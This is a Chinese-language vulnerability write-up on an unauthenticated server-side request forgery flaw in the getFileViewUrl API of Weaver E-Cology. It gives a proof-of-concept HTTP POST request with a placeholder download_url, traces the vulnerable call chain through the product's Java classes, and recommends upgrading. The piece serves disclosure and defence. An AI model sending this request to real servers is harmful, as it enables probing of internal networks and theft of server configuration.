泛微协同管理应用平台e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。泛微E-Cology getFileViewUrl 接口处存在服务器请求伪造漏洞,未经身份验证的远程攻击者利用此漏洞扫描服务器所在的内网或本地端口,获取服务的banner信息,窥探网络结构,甚至对内网或本地运行的应用程序发起攻击,获取服务器内部敏感配置,造成信息泄露。
poc
{"file_id":"1",
"file_name":"1",
"download_url":"xxxx poc url",
"client_type":"1",
"isCopy":"1",
"user_id":"1"}
POST /api/doc/mobile/fileview/getFileViewUrl HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer:
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Origin:
Connection: keep-alive
Cookie:
Priority: u=4
Content-Length: 135
{"file_id":"1",
"file_name":"1",
"download_url":"xxxx",
"client_type":"1",
"isCopy":"1",
"user_id":"1"}
com.api.doc.mobile.fileview.web.FileViewAction#getFileViewUrl
把JSON转为Map后,给到Execute com.api.doc.mobile.fileview.cmd.FileViewCmd#execute
其中获取的DownloadUrl,就直接通过Map获取,给到null2String3 下面主要是判断Prop下的一些配置
需要满足第一个if,需要配置中的数字为1
我这边都没有配置,所以会走下面的else,不管这里走哪个分支,都可以到对应的Sink,造成SSRF
s3这个参数是我们的可控污点。 com.api.doc.mobile.fileview.cmd.FileViewCmd#getSocialFileViewUrlForYz(java.lang.String, java.lang.String, java.lang.String, int, java.util.Map<java.lang.String,java.lang.String>)
0,1,参数不为空的情况下,则会进入这里的流程。 com.api.doc.detail.util.ImageConvertUtil#doConvertForSocial(java.lang.String, java.lang.String, int, java.util.Map<java.lang.String,java.lang.String>)
我们进入com.api.doc.detail.util.ImageConvertUtil#doConvert
在这里获取了map中的filedownloadUrl,并调用com.api.doc.detail.util.ImageConvertUtil#downloadUrl
如果上述配置是1的情况下 在com.api.doc.mobile.fileview.cmd.FileViewCmd#execute进入
调用链路可能就短一点了。
1、升级泛微版本